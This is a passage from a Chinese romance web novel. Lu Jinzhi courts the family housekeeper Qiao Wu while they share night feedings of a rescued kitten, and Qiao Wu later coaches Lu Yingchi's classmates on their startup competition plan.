奖励,我的奖励呢? “带了礼物。”乔梧推开他的大脑袋,“一会儿给你们。” 陆应池不满意这个答案,以他对乔梧的了解,这肯定每个人都有:“我是说奖励,要特殊的。” 乔梧随口问:“你想要什么?” 陆应池被问住了。 他下意识以为这次乔梧会给他像之前一样的惊喜,也不一定是要去零环线不一定是要喝酒,乔梧给他什么他都会很高兴,只要是特别属于他的。 但如果要问他需要什么,他却没什么确切的答案。 想到乔梧一次又一次推开自己的行为,他说:“这周末你别去静水别墅,留在家里?” 乔梧抬眸静静看着他:“理由。” 陆应池有点紧张。 他觉得要是说想要她陪着自己,一定会被骂没断奶的。 “我同学们要来家里开小组会议。”他故作镇定,“但我们都没经验,你指导一下我们。” 并不是很过分的要求,乔梧心里稍稍一松:“好。” 看来他已经懂得分寸了。 陆应池心里暗暗说了声YES! 呵陆宣,幸好老子没进娱乐圈,不然你等着失业吧! 他装作十分不经意地掏出手机,趁着乔梧去冲奶粉的时间疯狂在小组群里打字。 陆应池:“1111111@全体成员。” 陆应池:“开会开会!” 费景明:“怎么了怎么了?” 陆应池:“诚邀你们这周末来我家开小组会议,包吃包住包娱乐包接送,家里可以打篮球高尔夫球桌球,打游戏骑马射箭游泳,酒库里酒水畅饮,菜系随便点。” 所有人:“!!!” 叶梁:“……哥,你是遇到什么好事了吗?” 陆应池:“是有那么一件,没什么大不了的,不提也罢。” 费景明:“这样,那好吧。” 陆应池:“你们非要问,那我就告诉你们吧。” 叶梁:“倒也没有。” 陆应池:“就是乔梧,你们知道她的吧,她这周不去度假,非说要留在家里陪我。” 所有人:“……” 哥,真的吗? 叶梁:“哈哈哈那真是,太好了!她一定很在意你的。” 看到群里的消息陆应池十分满意,他炫耀完以后心满意足的收起手机,这才想起来自己这一趟来是干什么的。 “那小玩意儿在哪呢?” “啊嗷嗷嗷陆应池,我的呜呜!”陆柠把他推开,“脸上长两大洞看不见我的呜呜吗!” 陆应池这才看到一块小垫子上趴着的一坨。 “这是猫?”他伸手戳了戳,“不是耗子?” 陆柠瞪他:“你礼貌吗?” “长得好丑。”陆应池嫌弃地收回手,“跟你小时候一样。” 陆柠:“你死不死?” “取名字了吗?” “呜呜。”陆柠不跟他计较,“它叫呜呜。” “……” 刚才没仔细听,还以为是她卖萌的语气词呢。 陆应池是记得小时候的陆柠怎么口水兮兮抱着乔梧不撒手的叫呜呜的。 他抬头看了乔梧一眼,见她唇边含笑对这个名字并不排斥,心里微微一动,又戳了戳那只猫:“呜呜。” 像是偷到了一份藏在 角落里谁也不知道的糖果,他又喊了一声:“呜呜。” 陆柠轻哼:“呜呜,叫爷爷。” 陆应池:“???” 他凶神恶煞地揪住她的马尾:“乱叫什么!” “我是呜呜的妈妈,它叫你爷爷不对吗?” “你才几岁就当妈妈。”陆应池指向门口,“没看到是谁在喂?” 陆柠眼珠子转了转,觉得乔梧是比自己要辛苦,而且最近呜呜还要住在乔梧的屋子里,所以很爽快的接纳了这个事实。 “那我是姐姐。”她从善如流,“乔梧是妈妈。” 这下陆应池满意了,又问:“那爸爸是谁?” “哪来的爸爸?”陆柠纳闷。 “难道你还想让它小小年纪就做单亲家庭的孩子?它已经很可怜了。”陆应池轻咳一声,挺起胸膛,“这样吧,我勉为其难当一下它爸爸。” 刚冲完奶回来走到门口的乔梧:“……” 她耳畔落下一声不轻不重的“呵”。 “他缺根弦。”她说。 “他缺的不是弦。”加班回来跟她一起上楼的陆尽之淡声道,“是脑子。” 听到门口传来声音,房间里坐在地板上的一大一小的两人齐刷刷回过头。 陆柠左看看右看看,觉得这个画面似曾相识,很像当初选房间的时候,二叔直接坐收渔翁之利。 二叔那种占有欲,怎么可能允许别人来做爸爸! 她思考几秒,果断掏出手机打开收款码:“呜呜是我捡回来的,你们谁给的钱多,我就封谁做爸爸。” 乔梧无奈:“胡闹什么。” 她话音刚落,就见陆尽之走上前,很自然地扫了那个码。 很快陆柠的手机里就传来一声“支付宝到账……” 陆柠:“!!!” 哇噢! 她目光灼灼地回头望陆应池:“你的出价呢?” 还没等陆应池回答,陆尽之就轻描淡写道:“他出不了。” “谁说的!”陆应池拿出手机。 “我说的。”陆尽之扫他一眼,“你的卡停了。” 陆应池:“……???” 陆柠:“!!!” “二叔。”她瞬间摸清楚谁才是这个家的主人,原来兜兜转转花的都是二叔的钱啊! 有钱的才是爹! 呜呜以后吃的都是二叔的粮! 她仰着头把呜呜举起来:“以后你就是呜呜的爸爸了!” 陆尽之眉梢忽然扬了扬,接过那只猫回头看了乔梧一眼,意味深长:“呜呜?” 乔梧头很疼,她走过去从陆尽之手里接过呜呜:“你能不能别添乱?” “没添乱。”陆尽之不会喂小猫,只好顺着她的动作把猫轻轻放在她手里,原本是在尽职做一个爸爸的本分学喂猫。 但看着看着视线就歪了,先是上移注视着乔梧专注的神情,又望向她垂下的眼睫。 陆尽之忽然心动得厉害,也很快就找到了解决的办法。 他借着这个姿势微微俯身,在她耳边用只有两人听得见的声音笑着说:“呜呜,我在吃醋。” 第69章 第六十九章下次抱 乔梧耳根被他说话时带来的细微的风刮得有些发烫,她往后退开一步:“咽下去。” “我靠。”被无故又克扣了零用钱的陆应池从地上爬起来,义愤填膺地指着陆尽之,你你你了半天以后,找到唯一一个可以为他做主的人。 他转向乔梧:“你也听见了,这还不管管吗?谁家好人整天这么去折腾银行?本是同根生相煎何太急!” 跟这种人在同一个屋檐下,他真的很难保证自己不会因为钱而变成犯罪嫌疑人陆某。 还有,陆尽之神经病吗? 连家里有小孩都烦得要死,你争爸爸干什么! 什么时候还干出这么幼稚的事情来了。 “莫欺少年穷。”陆应池咬牙切齿。 哪里知道陆尽之轻轻地递来一眼,一副很好商量的语气:“如果她开了口,可以考虑。” 陆应池:“?” 乔梧哪里不懂陆尽之话里的意思:“……” “都滚出去。”她眼都没抬,“现在这里是我的房间。” 明天还要上学,而且还收到了一笔巨款的陆柠现在很识时务,她爬起来顺便还拉了一把炸毛的陆应池,拍拍正在喝奶的呜呜的小肚皮:“呜呜,姐姐跟叔叔走了,跟爸爸妈妈要乖乖的啊。” 乔梧听得眼皮直跳,踢了她屁股一脚:“我不是妈妈,我什么都不是。” 陆柠忙捂着屁股推着嘴上喊着当“二爸”也行的陆应池走了。 察觉身边还站着个丝毫不自觉地人,乔梧转身走到沙发上坐下:“你也出去。” 陆尽之动了,就是没去门口,而是将大衣外套脱了搭在一边,蹲下来拿起地毯上那些小玩意,自然地问:“怎么不叫人收拾?” “也没多难。” 本来是她跟陆柠做得好好的,但陆应池一来这就跟午睡醒来后的幼儿园午休室一样。 而陆尽之看起来嘴巴完全不把门,她不想留下什么风险。 “放那吧,我一会儿弄。” 陆尽之没听。 他虽然不会喂奶,但摆放些东西还是会的。 乔梧听见声音抬起头,见他拿着说明书正在研究,这画面十分新奇。 陆家老二这么多年,连他弟弟侄女小时候的奶瓶都没扶过,现在却在一只小猫咪搭笼子。 “陆尽之,你怎么对一只猫比对弟弟们还有耐心。” 已经快速看完方法的陆尽之将那些板子拿起来,挑眉:“因为他们不叫呜呜。” 乔梧忽然觉得这个名字也不是那么好了。 别人喊还挺正常,就陆尽之总是要带着些奇怪的调调。 “你能收敛一点吗?”她问。 “嗯?” 正在组装小笼子的陆尽之似是笑了下,低垂着眼,“我藏了。” “你再说说藏了试试呢?” 啪嗒一声。 陆尽之将笼子的门关上又打开,试完没问题以后起身提着来到乔梧身边,他把笼子放在桌上:“你喜欢过人吗?” “没有。”乔梧下意识回答。 头顶传来一声轻笑。 意识到他在笑什么,她抬起头刚想要扣点分杀一杀他的锐气。 下一秒却听陆尽之说:“所以你不知道,喜欢很难藏。” 乔梧愣了下。 “我在尽力了,呜呜。”陆尽之抬手轻轻碰了碰她因为弄这些东西有些乱了的头发,温声问,“你能体谅一下吗?” 乔梧觉得他就是趁着现在她腾不出手肆意妄为。 “动手动脚扣二十分。” 陆尽之看了眼自己的手,语调缓慢:“是不是有点多了。” 只碰了头发丝而已,乔梧正在想是不是的确有点过分的时候,眉梢却被微热的指腹轻轻划过。 始作俑者已经收回了手,神色语气都很自然:“扣也扣了,我补一点回来。” 乔梧觉得自己遇到对手了。 要是她再多扣一点,陆尽之是不是就得寸进尺要再多碰一点了? 第一次遇到这种扣了分不改正,还追着补被扣掉的福利的人。 她把空掉的奶瓶塞进陆尽 之手里:“没什么事收拾好就出去,我要休息了,顺便去把奶瓶洗了。” “有事。”奶瓶在陆尽之手里转了一圈,他也没松手,而是问,“周末有空吗?” 两人的工作有很多相交的地方,乔梧下意识开始规划自己的时间:“什么事?” “追你。” 乔梧:“……” 虽然已经做好了心理准备,但每次从陆尽之嘴里听到这么直白露骨的话,她还是很不适应。 “什么?”她有点茫然,“你不是在追了?” 陆尽之似是有些不解地抬了抬眉:“我什么都没做。” 乔梧心情复杂。 那他整天说的这些骚话是干什么的,怎么她看的书里都没有! 陆尽之一定背着她偷偷看书了! “要一起吃饭吗?” 乔梧面无表情:“我们每天都在一起吃饭。” “我想跟你单独吃。” 单独两个字忽然提醒了乔梧她现在跟陆尽之的不太平常的关系,也把一些正常的举动变得带着了暧昧的意味。 “陆应池周末有同学来家里,我要给他们做指导,不确定时间。” 陆尽之安静了几秒。 觉得陆应池就跟这只没断奶的小猫一样,缠人。 “那可以确定的时间能告诉我么?” “你要是没时间怎么办?” “那是我的事。” 乔梧无声笑了下。 “好。” 等陆尽之走后,乔梧把呜呜放进笼子里,调好给它定时喂奶的闹钟后就抓紧收拾睡觉了。 而上楼后的陆尽之则是在露台上站了一会儿。 由于乔梧住的房间是她父亲过去用的,以前为了方便所以离陆江的房间很近,自然也离他的很近,从他这里的露台往上就能看到她的窗户。 她睡了。 陆尽之收回视线,回到房间里在书桌前坐下,他下班以后一向不看公事,但最近是例外。 要给乔梧的空闲时间留出足够多的私人时间,只能加班。 陆总第一次加班加得这么心甘情愿,哪怕最近睡得不多,他也不介意。 凌晨三点,在手机铃声再一次响起来的时候乔梧迷迷糊糊睁开眼睛。 这种碎片化的睡眠实在是让人太难熬了。 她揉揉太阳穴起来,把事先准备好的水倒出来,刚准备用温度计试一下温度,就听到门口传来有节奏的敲门声。 这个点,陆柠担心小猫过来了? 可门外站的还是陆尽之。 乔梧的睡意都散了好多,下意识去回忆了一下时间:“你还没睡?” “我也想问你。”陆尽之见她睡眼惺忪,手里还拿着温度计,眉心轻拧。 三个小时起来一次,他还以为发生什么事了。 顺着他的视线低头,乔梧恍然:“呜呜还太小。” 陆尽之拿过她手里的温度计:“谁养的谁喂。” “那她不上学了?” “不想想自己?” 话是这么说,但陆尽之却将门推开一些,迈步走了进去,进门时又将屋里的灯关了一些,只保持了基本的照明,光线没那么刺眼。 呜呜已经被乔梧拿出来隔着一张尿垫放在了沙发上。 东西也都摆在旁边了。 陆尽之拿起奶瓶:“多少度?” 因为困倦,乔梧直到他开始冲奶粉了才回神走过去:“40就行。” “明天把它交给佣人。”陆尽之说,“家里那么多人,一人一晚喂一次。” 这个问题乔梧其实也想过。 这样的话其实大家都能休息好。 但她可能有点轴,所以一直没这么做。 没听到她的声音,陆尽之抬眸。 乔梧也没隐瞒,事实上也没有任何理由可以说服陆尽之,所以她如实回答:“它叫呜呜。” 因为猫猫叫呜呜,所以她不想放在其他人的手里养。 陆尽之安静地看了她几秒,又收回视线。 天才学习的能力很强,哪怕只有晚上看过那么一次,现在他也能轻松上手。 插不上手的乔梧只能坐在他身边:“你怎么还没睡?” “加班。” 乔梧点了点头,只要稍稍想一想陆尽之房间的位置就知道他为什么会发现,她决定明天起来喂猫猫的时候就不开那么多灯了。 主要她才醒来有点迷糊,担心摔倒也担心灯光太暗做错什么流程。 可现在陆尽之把灯光又关暗了,一向作息规律的她没事干以后,看着看着就忍不住阖眼。 等陆尽之放下奶瓶回头时,身旁的人已经靠着沙发睡着了。 他把手上的呜呜放回笼子里后也倚在沙发上,半侧着身肆无忌惮连带眼前的人的呼吸都收进漆黑的眼底。 还是这个呜呜要可爱一点。 这个房间里的东西留下来的比较少,他回到自己那里拿了条毯子过来给乔梧盖上。 而自己则是在她身边坐下,拿出手机搜索养猫的注意事项。 他尊重她的选择。 早上六点半,已经来到餐厅的陆柠迟迟没看到乔梧的影子,连带二叔都没下来。 “他们今天睡懒觉了吗?”陆柠问,“我们要不要去喊他们起床?” 陆应池往楼上看了一眼,睨着她:“你自己不知道那猫一天要喂几次?” 他也是昨晚回去搜了养猫攻略才知道那么小的猫照顾起来要那么麻烦,当时就想上楼把猫拿下来,只是担心乔梧睡了才作罢。 “今天以后猫给我养。”陆应池指着自己,“搞搞清楚,以后我才是它爸。” “但你没钱。”陆柠还是分得清谁是大小王的,她一一细数,“呜呜的奶粉要钱,以后猫砂猫粮猫玩具,打针体检都要钱,你用什么来养它?父爱吗?” 陆应池觉得自己人生中的滑铁卢都是在这个家遇到的。 他一会儿就去把陆尽之的车胎戳了! “我会有钱的。”他说,“我跟同学们要一起创业。” 陆柠迟疑了一下:“还是别了吧。” “你瞧不起老子?” “不是。”陆柠诚实地说,“我听说,有钱人家最怕孩子创业了,你也不要没苦硬吃。” “……” 陆应池不想跟她这种脑子没有二两肉的人说话。 最近陆应池比较忙,所以陆柠都不跟他一起上学了。 等他走后,回房间拿书包的陆柠犹豫了一下,还是来到了乔梧的房间门口。 房门紧闭。 想着乔梧还没起床,她十分自责,对着门口拜了拜,然后趴了下来试图从门缝看到一点呜呜的影子。 只是什么都看不见,她只好对着门缝轻声说:“呜呜,姐姐要去上学了,再……” 见字都没说完。 紧闭的门忽然打开,紧接着一双大长腿出现在她眼前。 这……乔梧睡衣什么时候换成这种风格了? 陆柠抬起头。 而后瞳孔骤缩! 她眼睛和嘴巴都变成了“O”形,还没出声男人就俯下身把她捏成了鸭子嘴。 男人垂着有些疲惫的眼,眸色不冷不热。 而他身后,乔梧盖着毯子在沙发上还睡得很香。 陆柠觉得这是赤裸裸的威胁,她下意识闭紧了嘴巴。 这下陆尽之才轻轻带上门。 他松开手直起身,轻轻踢了一脚还撅着屁股趴在地上的陆柠:“行为艺术?” 断断续续起来又睡,一整夜过去他声音有点哑。 陆柠爬起来:“二叔,你是从乔梧的房间出来的?” 陆尽之淡淡扫她一眼:“不是。” “……我都看见了!你还穿着睡衣!你是不是跟她睡觉了!” 陆尽之步伐微微一顿。 由于连续的疲惫,他现在表情管理不是很好,眼皮冷冷绷着,伸手直接把陆柠的脑袋捞到自己眼前。 陆柠被他的表情吓了一跳,也不知道自己说错了什么,抱着头认错:“二叔,能不能别打脑袋?” 好不容易才聪明了一点。 然后她就感觉自己的脑袋被人从中间往两边扒了扒。 “二叔?”陆柠哆哆嗦嗦,“你扒我脑袋干什么?” 难不成要像掰西瓜那样 ,徒手开瓢? 陆尽之惫懒地说:“原来这是脑袋,不是个戴了假发的球?” “?” 陆尽之拍了拍她的后脑勺:“空空如也。” “???” 你知道那一碗一碗核桃的含金量吗!!! “说话过过脑子。”陆尽之按下电梯。 “可你就是从乔梧房间里出来的。” “因为你那只猫。”陆尽之淡声回答。 瞬间陆柠就从愤怒变得愧疚,原来二叔也是去替她喂猫的。 她低眉顺眼:“二叔,辛苦您帮我喂呜呜!” “没帮你。” “啊?” “帮她。” 三秒后陆柠才反应过来“她”是谁。 她感慨:“还得是特权。” 能让二叔这种十指不沾阳春水的人都去当奶爸了。 靠在电梯旁没什么情绪的陆尽之听到这话后眼睫忽然眨了眨,电梯门打开,他用手挡住,喊了声:“陆柠。” 陆柠走进去:“在!” 陆尽之微微偏头:“那晚你问过我什么?” 那晚? 在陆柠的记忆里,她晚上跟二叔有来有回的问答只有那么一次。 她试着说:“乔梧是你的特权吗?” “后一句。” 陆柠不明所以,但还是老实重复:“你喜欢乔梧吗?” 然后她看见一直没什么精神的二叔忽然笑了。 那双淡漠的眸子里染上她从来没见过的柔和,还有很多她看不懂的东西,总之……看起来很不二叔。 继而又听见二叔嗯了一声。 陆柠还没反应过来,她二叔就松开了拦住电梯门的手,随着电梯门合上的声音,她听到了一声低哑又清晰的… “喜欢。” 此时刚走出家门的钟时夏手机响了一下。 他低头一看,发现是陆柠发来的消息。 连带着很多个感叹号。 陆柠:“大师!!!!!!!!” “。” 算了,习惯了。 乔梧再次醒来已经是早上九点多。 窗帘被严丝合缝的拉着,房间里留下昨晚那几盏暗灯,呜呜在笼子里睡得正香,而她身上盖着一块不属于她的毯子,主人是谁不言而喻,上面的味道那天陆尽之抱她的时候她曾经闻到过。 桌上有张便条。 上面陆尽之苍劲有力的字迹写着呜呜在她睡着后每一次喂奶的时间以及每一次反应。 上一次在一个半小时前。 所以陆尽之昨晚来了以后就没走过?她也没听到闹钟响。 乔梧盯着身上的毯子看了一会儿,慢吞吞动手把它折好。 可能是沙发太舒服,她也没觉得哪里酸哪里疼,但折着折着思绪难免会有点歪。 怎么跟电视剧里演的不一样? 那些女主角睡着以后,男主角不是都会把她抱去床上睡吗? 当然,她不是要让陆尽之抱她,只是不太清楚陆尽之的脑回路。 她下楼时家里人都出门了,厨房还给她备着一份早餐。 “抱歉,我今天睡过头了。”她一边吃一边说,“下次到时间点你们可以按铃叫我。” 几个佣人对视一眼,如实回答:“二少爷说不能去吵您。” 乔梧动作顿了下。 “别听他的。” 大家没出声。 或许这话对别人来说有点逾越,但这个家里小乔管家说出来,其他人还真不敢不听。 毕竟二少爷是真的很听她的话。 乔梧吃着早餐,拿出手机给陆尽之发消息:“你什么时候走的?” 过了一会儿,对面直接打了个视频过来。 也不知道陆尽之什么时候养成的习惯,跟人聊天喜欢打视频,除了那天在酒店表白,只要乔梧跟他时间对得上,两人之间的视频记录一向都比文字多。 可能是他的什么个人爱好。 乔梧尊重。 画面里很快出现陆尽之的脸,他应该是在办公室里,比起昨晚的样子此时洗漱过头发也打理了,精神了很多,只是眼下还有隐隐的倦意。 乔梧都不想问他为什么不把自己叫醒了,有种明知故问的嫌疑。 “谢谢。”她说。 陆尽之停下了手里的动作,静静地盯着她看。 哪怕隔着镜头,乔梧还是被看得不太自在:“怎么?” “看你什么时候改掉跟我说谢谢的陋习。” 乔梧没好气,说谢谢还成陋习了? 又问:“什么时候走的?” “七点多。”陆尽之伸出两根手指,“你现在有两个选择,一,把房门钥匙留给我,晚上我去喂猫;二,把猫放到我房里,我把钥匙留给你。” 乔梧感觉自己身边骤然变得安静下来。 她往后一看,身后忙活着自己事的佣人们动作都有点僵硬,显然是听到了刚才的话。 “……” 其实她想说,家里人的房间钥匙她基本都有,不用这么惊讶。 不过陆尽之的确要特殊一点就是了。 “我选三。”她说。 “三啊。”陆尽之将手放下,笑道,“那只能住在同一个房间了。” 乔梧撩眼看向他,觉得这人骨子里的坏真的会无时无刻在细节里透出来。 可她清楚这人说一不二的性格,也知道他为什么要这么做。 如果拒绝了,陆尽之很可能半夜从他的露台翻进她的房间。 这时的乔梧才发现,如果陆尽之下定决心要做一件事,她居然没有办法像去哄其他人那样哄着他放弃改正。 陆尽之退了一步,尊重她的选择没把猫送到别人那里去。 不对,是退了很多步。 从昨天他说的话里来看,他对这只猫是没有多大感情的,他只是单纯的因为她才做出的退让。 她挑眉:“陆柠她们也能进你房间了?” “嗯。” 孰轻孰重陆尽之还分得清。 他的房间里没有什么见不得人的东西,只是不喜欢别人进自己的私人空间,更不愿陆应池他们整天出入乔梧的房间。 钓鱼都要打窝,更何况是追老婆。 这个房间的成本他欣然交付。 更何况那几条小狗还不敢在他的房间里造次。 但不得不说,把呜呜交到陆尽之手里远比交到其他人手里让乔梧要更能接受,因为都是一家人,就跟以前把陆柠或是陆应池交给他一样,更何况陆尽之还把钥匙交给她,选择权在她手上,她随时都可以进出。 对比让他一个追求者随便进出自己的房间,要更合理。 她也退了一步。 “好。” 吃完早餐,她刚准备挂电话,忽然想到自己刚才还在疑惑的问题。 她故意问:“你就让我在沙发上睡了一晚上?” 没料到她会问这个,陆尽之意外地问:“不会醒?” “会。” 那么大动静,她当然是会醒。 乔梧明白了:“怕我喂猫?” “不是。”陆尽之慢悠悠道,“难得留下来,怕你赶我走。” “……” 见她语塞,陆尽之轻笑一声:“喜欢抱?” 第70章 第七十章追你的人多吗? 周六上午,受到邀请的同学们被司机一起接到了陆宅,一路上嘴巴都没合上过。 他们这次参加比赛并不是以个人的名义,而是小组,同行一共六人。 陆应池没过来接,是他们家司机来的。 一辆商务型迈巴赫停在食堂门口,根本不用去确认车牌号,人家的车上有他们陆氏集团专属的标识,赚足了所有过往学生的视线。 一路从学校出发穿过市中心,一个多小时就能到达,堵车的情况都很少,所以人家选址都是很用心的。 陆宅最外面有个保安亭,一道巨大的精细奢华的铁门横在中间,两边都是精心养护的绿植树木。 叶梁吞咽口水:“我知道为什么那天陆应池坐大巴全程说伸不开腿了。” 其他同学纷纷点头:“这种豪宅我上网搜都找不到关键词。” 保安打开门:“四少爷说车直接开到主宅门口,不去客用停车场。” 司机点头:“好的。” 还有客用停车场?! 同 学们进了大门后一个个大气都没敢喘,但进来的他们并没有直接看到房子,而是再往前开了一段路。 陆宅的路通往四面八方,拐了一会儿他们便看到一栋带着些复古风的建筑,门口有人看到车来就回头推开门,没一会儿,陆应池就插着兜走出来了。 比起在学校他今天穿得要少一些,就一件淡黄色针织衫,神态也比在学校多几分松散。 而他身后跟着一个扎马尾的小女孩,长得很可爱。 车停下后陆应池不用司机开门就自己打开门钻进来了,九座车还能再容纳几个,小女孩紧跟在他身后。 同学们一头雾水。 费景明问:“你上来干什么?” “去藏书楼啊。”陆应池缩了缩肩膀,“外面冷死了。” “那你为什么不多穿一点?” 陆应池奇怪地看了他一眼:“就几步路。” 家里每个地方都装了地暖,天冷了他又不爱出门,所以一般都不穿太厚的衣服,懒得再穿外套又脱掉。 “这个给你。”同行的女生把手里的暖手宝递给他,迟疑了一下,还是嘱咐道,“还是要穿点衣服,小心着凉。” 陆应池下意识把自己的手往里靠了靠,拒绝了:“我身体好。” “你上次还发烧了。”女生说。 “那是意外。”陆应池皱眉,力证自己身强体壮,“那水多脏,少瞧不起人。” 那你还不是说跳就跳? 女生没再说什么。 费景明实在看不过去这人的直男劲了。 自从上次陆应池把人从水里救上来,人家女孩子多少次明里暗里示好,他愣是看不懂。 费景明转移话题好奇地问:“这个可爱的小朋友是谁?” “陆柠,家里的小屁孩。”陆应池随口道,“她周末不上学,跟着去玩,写写作业看看书。” 听到人家夸自己可爱,陆柠小脸红扑扑,其实她都没有朋友来家里玩过,她挺好奇的,之前去零环线被二叔教育过的她坐直身体。 “哥哥姐姐好,我叫陆柠。”她主动说,“这个傻大个是我小叔。” 女生嗔道:“陆应池你不早说家里有小朋友,我们过来还可以给她带带礼物。” 陆应池对礼物有阴影,上次说带礼物来的是被拖出去的。 他视线看着外面,有点敷衍:“别搞那些花里胡哨的。” 乔梧答应他留下来,可一大早就出去了,还不许他跟,让他留下来接待朋友。 可恶。 费景明顺着他的视线,问:“你找什么呢?还有人吗?” “乔梧吧。”陆柠幽幽道,“人家还有自己的事情忙,你能不能懂点儿事。” “小嘴巴。” 陆应池白她一眼,“谁找她了。” 大家上次是听说那个漂亮姐姐是陆应池的家里人,现在看到陆柠还以为对方也是跟陆柠一样的亲戚,可能表姐之类的。 “你们也住在一起?” 说到这个陆应池就没那么走神了,他回过头一本正经地纠正:“青梅竹马懂吗?小时候都跟她睡一张床,所以陆宣在节目说的那些话都是他自己的臆想,他连乔梧的床都没爬上去过,就只会偷偷把人塞书包里,那种下三滥。” “……” 不是,爬床是什么很令人骄傲的事情吗? 女孩惊讶地问:“她不是你亲戚姐姐吗?” “不是。” “那怎么能说是家人。” “一起长大,同一个家里怎么不算家人。”陆应池一副理所当然的语气。 好像也说得过去。 费景明:“收养的。” 有钱人都爱搞这一套。 “什么乱七八糟的。”陆应池说,“她是我家管家。” “?!!” 等会儿,怎么又跟电视里演的不一样了! 你家管家居然包你们的私事包公事,还包去给基金会当理事长? 虽然好奇,但因为车已经停下来,大家也没再继续这个话题,因为还有让他们更惊讶的事情。 因为他们知道为什么陆应池要上车、还说几步路就到了。 谁家好人在自己家里也要坐车才能去下一个地方的?! 下车后,明明不冷,但叶梁的手还是有点颤抖:“你说的藏书楼,不会是这一栋吧?” “昂。”陆应池不抗冻,几步上前就推门,“来吧。” 所有人跟着他进门。 然后发现这踏马还真是藏书楼啊,全都是书! 你家里还有个图书馆?! 虽然没有学校里的那么大,但是里面的书密密麻麻整齐排列分区,而且装潢充满了金钱的味道,地上铺着地毯,进来就暖呼呼的,还有淡淡的香味。 “这得有多少书?” “不知道。”陆应池四处看着,终于给他找到了借口,“我问问。” 叶梁摆手:“不不不用,我就是随口一问。” “不,你想问就问。” 陆应池十分坚持。 不然他怎么给乔梧打电话? 电话拨出去就被人挂断了,陆应池脸色有点黑,还没发作就听头上传来一声:“我在这儿。” 众人听见声音回头。 二楼的围栏处站着个人,比起之前在民宿和电视里见到的那个女强人模样,此时的乔梧穿得十分日常,简单的白色毛衣和长裙,冲淡了她身上的成熟感,多了几分亲近的味道。 更像是活在小说里可望不可及的白月光学姐。 这要是随便一拍都可以直接上学校首页当招生官图的地步。 她将手里的书放回书架,绕到楼梯走下来,这楼里的光照在她脸上仿佛都要多一层美貌的滤镜。 “你们好,我叫乔梧。”她走到众人面前,“是陆家的管家。” 一群愣头青只会呆呆地点头,又慌慌张张地做自我介绍。 乔梧把每个人的名字都记下来后温声问:“你们进行到哪个阶段了?” “啊?” 乔梧轻轻挑眉:“不是需要我指导一下吗?” 众人默默回头看向陆应池。 他们连乔梧都不了解,怎么可能要人家来指导。 陆应池你那天说人家非要在家里陪你,根本就是你自己的打算? 到底是谁在臆想! 合着你说那么多包吃包玩的福利,是在拿我们打窝?! 后者凌厉地扫他们一眼。 “对!”叶梁立刻站直,“是有这么一回事!” 乔梧点点头:“大家先坐,我先看看你们的进度?” 她早上过来把藏书楼里的桌子重新摆了一下,方便每个同学都能听清对方说的话,也方便大家交流沟通。 莫名的,哪怕大家不了解这个人,在她面前也说不出什么质疑的话,都老老实实坐下来了。 他们也不仅仅是来玩的,都带了自己的电脑来就是为了要先把正事儿干完。 陆应池和陆柠分别坐在乔梧的两边。 好像所有的重点下意识都放在了乔梧的身上。 尤其是陆应池,自从乔梧出现以后,他视线就一直在人家身上。 哪怕对方在看电脑,他也撑着脑袋肆无忌惮地盯着,然后被乔梧一巴掌拍开。 这里环境太安静,就跟在图书馆一样,拍在陆应池脸上的声音格外明显。 趁着乔梧看资料的时间,大家拿着手机疯狂敲字。 由于之前在饭店里见过一次,大家都知道陆应池在乔梧面前跟条大狗一样,但是…… 费景明:“你脸不疼吗?” 不能继续看的陆应池瞄了眼手机,拿起来:“她又没使劲儿。” 还是没见过乔梧打人的样子,对比起来他已经很受宠了好吧! 没点眼力见儿! 众人:“……” 倒是第一次见到这种相处模式的陈彩文愣了一下,试探着问:“你们平时都是这种相处模式吗?” 陆应池:“不是。” 陈彩文松了口气。 她的确是喜欢陆应池的。 长得帅,有钱却不乱来,人看着有点傻脾气大,但实际上挺善良,也很有义气。 这放在任何大学里,都很容易成为别人心动的对象。 可是她那口气还没松到底,又看陆应池发了一句:“她平时对我挺温柔的,喂我吃东西,摸我脑袋。” 费景明:“养狗呢?” 陆应池:“刀.jpg。” 叶梁:“我没见过世面,但电视剧里的管家不这样。” 陆应池轻啧:“她不仅是管家,你们不懂。” 是,压根就没人懂他。 大家都识趣没再继续。 只有陈彩文继续问:“那她还是什么?” 陆应池眉心轻轻蹙了蹙,打字:“还能是什么?是家里人啊。” 但打完以后他又觉得不太对劲,下意识往旁边看了一眼,乔梧依旧在看电脑。 思考几秒,陆应池又把那条消息撤回了。 陆应池:“她就是她。” 早就看出陈彩文心思的费景明轻咳一声,拍了 拍她的手臂,使了个眼神。 后者轻轻抿唇,却没再说什么。 乔梧并不知道私底下小群发了些什么消息,她看完所有资料抬头后每个人都老老实实坐好了。 关于这次比赛她也收到了消息。 陆氏的基金会每年都会在全国大学生职业规划大赛里投入一部分的教育基金作为比赛奖金,等到了国赛的时候,她会作为颁奖人出席,所以方案很早就送到了她的手里,只不过她没想过陆应池会参加。 而且会以这种模式。 几个同学自己做的创业计划,没有任何背景和资金的支持,都只靠他们自己。 但出乎预料的是,陆应池作为小组组长,做的这些计划和PPT流程都很详细,一看就是下过功夫的,难怪陆柠说他最近一直在忙。 乔梧喝了口水润嗓子:“我按照陆应池这份PPT来给你们讲解,提一些建议,你们后期可以自行斟酌一下。” 当时陆应池脑子一热把人留下来做指导的时候,只是不知道从哪一个地方拽出来的借口。 但等乔梧真的开始讲解PPT,把他们这份青稚的创业计划点出来所有的不足时,他才一点点投入心思正色起来。 大家开始也只以为自己是陆应池用来打窝的工具,但没想到居然被对方三言两语给带进了这份项目里。 甚至生出自己真的有在跟一个真正的老板谈论方案的错觉。 对方全面成熟的知识体系,在企业流程上的各种运筹安排,以及对于未来金融市场的分析,都说得头头是道。 把一群小菜鸡的PPT愣是拉到了一个新的高度。 到头来大家已经忘了在乔梧面前的拘谨,纷纷把自己那部分不熟悉不懂的问题拿出来虚心求教。 如果不是佣人来提醒可以吃午饭了,可能大家还沉浸在讨论当中。 “休息会儿吧。”乔梧收好东西,对陆应池道,“先带你同学们去吃饭。” 陆应池听出不对:“你呢?” 平时乔梧都跟他们在一起吃,但今天人家来了客人,厨房准备的餐厅是客用餐厅,她就不过去了。 “我跟陆柠一起。”她说。 “什么跟她一起,你跟我一起。”陆应池不由分说地拽着她的手腕起身往外走,“哪里还有分开吃饭的事儿。” 乔梧一时不察被他给拉着往外走了好几步,她另一只手拍在他手背上:“松手,我自己走。” 这可比之前拍他脸时重多了。 “乔姐姐!”费景明忙道,“不介意的话一起吃吧,我们还没谢谢您今天帮这么大忙呢,妹妹也一起来。” 其他人也跟着附和邀请,乔梧只好笑着点头,又将自己的手从陆应池手里抽出来:“我自己走。” 